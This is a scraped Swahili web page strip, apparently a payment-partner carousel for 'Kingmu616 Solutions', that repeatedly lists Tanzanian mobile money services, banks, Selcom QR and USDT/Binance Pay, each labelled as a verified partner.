MIXX BY YASVerified Partner
airtel logo
Mobile Money

Airtel Money

Huduma za Kifedha Kidijitali

AIRTELVerified Partner
halopesa logo
Mobile Money

HaloPesa

Mtandao Mpana na Uliothibitishwa

HALOTELVerified Partner
AZAM
azampesa logo
Mobile Money

AzamPesa

Rahisi, Salama na ya Uhakika

AZAMVerified Partner
CRDB
crdb logo
Commercial Bank

CRDB Bank

Benki Inayosikiliza Mahitaji Yako

SIMBANKINGVerified Partner
NMB
nmb logo
Commercial Bank

NMB Bank

Karibu Yako Kidijitali

NMB MKONONIVerified Partner
NBC
nbc logo
Commercial Bank

NBC Bank

Benki Yenye Historia Tanzania

KIGANJANIVerified Partner
KCB
kcb logo
Commercial Bank

KCB Bank

Benki Imara Afrika Mashariki

KCB TANZANIAVerified Partner
stanbic logo
Commercial Bank

Stanbic Bank

Mshirika Wako wa Kifedha

STANBICVerified Partner
absa
absa logo
Commercial Bank

Absa Bank

Uwezeshaji wa Kidijitali

ABSA TANZANIAVerified Partner
SELCOM
selcom logo
Interoperable QR

Selcom Pay & Masterpass

Mfumo Jumuishi wa QR Code

MASTERPASS QRVerified Partner
usdt logo
Crypto & Web3

USDT Crypto & Binance Pay

Malipo ya Kimataifa ya Sarafu Dijitali

TRC20 / BEP20Verified Partner
mpesa logo
Mobile Money

Vodacom M-Pesa

Mtandao Salama wa Malipo ya Simu

M-PESAVerified Partner
yas
mixbyyas logo
Yas Mobile Money

Mix by Yas

Pochi ya Kidijitali ya Kisasa ya Yas

MIXX BY YASVerified Partner
airtel logo
Mobile Money

Airtel Money

Huduma za Kifedha Kidijitali

AIRTELVerified Partner
halopesa logo
Mobile Money

HaloPesa

Mtandao Mpana na Uliothibitishwa

HALOTELVerified Partner
AZAM
azampesa logo
Mobile Money

AzamPesa

Rahisi, Salama na ya Uhakika

AZAMVerified Partner
CRDB
crdb logo
Commercial Bank

CRDB Bank

Benki Inayosikiliza Mahitaji Yako

SIMBANKINGVerified Partner
NMB
nmb logo
Commercial Bank

NMB Bank

Karibu Yako Kidijitali

NMB MKONONIVerified Partner
NBC
nbc logo
Commercial Bank

NBC Bank

Benki Yenye Historia Tanzania

KIGANJANIVerified Partner
KCB
kcb logo
Commercial Bank

KCB Bank

Benki Imara Afrika Mashariki

KCB TANZANIAVerified Partner
stanbic logo
Commercial Bank

Stanbic Bank

Mshirika Wako wa Kifedha

STANBICVerified Partner
absa
absa logo
Commercial Bank

Absa Bank

Uwezeshaji wa Kidijitali

ABSA TANZANIAVerified Partner
SELCOM
selcom logo
Interoperable QR

Selcom Pay & Masterpass

Mfumo Jumuishi wa QR Code

MASTERPASS QRVerified Partner
usdt logo
Crypto & Web3

USDT Crypto & Binance Pay

Malipo ya Kimataifa ya Sarafu Dijitali

TRC20 / BEP20Verified Partner
usdt logo
Crypto & Web3

USDT Crypto & Binance Pay

Malipo ya Kimataifa ya Sarafu Dijitali

TRC20 / BEP20Verified Partner
SELCOM
selcom logo
Interoperable QR

Selcom Pay & Masterpass

Mfumo Jumuishi wa QR Code

MASTERPASS QRVerified Partner
absa
absa logo
Commercial Bank

Absa Bank

Uwezeshaji wa Kidijitali

ABSA TANZANIAVerified Partner
stanbic logo
Commercial Bank

Stanbic Bank

Mshirika Wako wa Kifedha

STANBICVerified Partner
KCB
kcb logo
Commercial Bank

KCB Bank

Benki Imara Afrika Mashariki

KCB TANZANIAVerified Partner
NBC
nbc logo
Commercial Bank

NBC Bank

Benki Yenye Historia Tanzania

KIGANJANIVerified Partner
NMB
nmb logo
Commercial Bank

NMB Bank

Karibu Yako Kidijitali

NMB MKONONIVerified Partner
CRDB
crdb logo
Commercial Bank

CRDB Bank

Benki Inayosikiliza Mahitaji Yako

SIMBANKINGVerified Partner
AZAM
azampesa logo
Mobile Money

AzamPesa

Rahisi, Salama na ya Uhakika

AZAMVerified Partner
halopesa logo
Mobile Money

HaloPesa

Mtandao Mpana na Uliothibitishwa

HALOTELVerified Partner
airtel logo
Mobile Money

Airtel Money

Huduma za Kifedha Kidijitali

AIRTELVerified Partner
yas
mixbyyas logo
Yas Mobile Money

Mix by Yas

Pochi ya Kidijitali ya Kisasa ya Yas

MIXX BY YASVerified Partner
mpesa logo
Mobile Money

Vodacom M-Pesa

Mtandao Salama wa Malipo ya Simu

M-PESAVerified Partner
usdt logo
Crypto & Web3

USDT Crypto & Binance Pay

Malipo ya Kimataifa ya Sarafu Dijitali

TRC20 / BEP20Verified Partner
SELCOM
selcom logo
Interoperable QR

Selcom Pay & Masterpass

Mfumo Jumuishi wa QR Code

MASTERPASS QRVerified Partner
absa
absa logo
Commercial Bank

Absa Bank

Uwezeshaji wa Kidijitali

ABSA TANZANIAVerified Partner
stanbic logo
Commercial Bank

Stanbic Bank

Mshirika Wako wa Kifedha

STANBICVerified Partner
KCB
kcb logo
Commercial Bank

KCB Bank

Benki Imara Afrika Mashariki

KCB TANZANIAVerified Partner
NBC
nbc logo
Commercial Bank

NBC Bank

Benki Yenye Historia Tanzania

KIGANJANIVerified Partner
NMB
nmb logo
Commercial Bank

NMB Bank

Karibu Yako Kidijitali

NMB MKONONIVerified Partner
CRDB
crdb logo
Commercial Bank

CRDB Bank

Benki Inayosikiliza Mahitaji Yako

SIMBANKINGVerified Partner
AZAM
azampesa logo
Mobile Money

AzamPesa

Rahisi, Salama na ya Uhakika

AZAMVerified Partner
halopesa logo
Mobile Money

HaloPesa

Mtandao Mpana na Uliothibitishwa

HALOTELVerified Partner
airtel logo
Mobile Money

Airtel Money

Huduma za Kifedha Kidijitali

AIRTELVerified Partner
yas
mixbyyas logo
Yas Mobile Money

Mix by Yas

Pochi ya Kidijitali ya Kisasa ya Yas

MIXX BY YASVerified Partner
mpesa logo
Mobile Money

Vodacom M-Pesa

Mtandao Salama wa Malipo ya Simu

M-PESAVerified Partner
100% Salama na ya UhakikaMitandao Yote Rasmi ya Tanzania
Kingmu616 Solutions • Instant Service Activation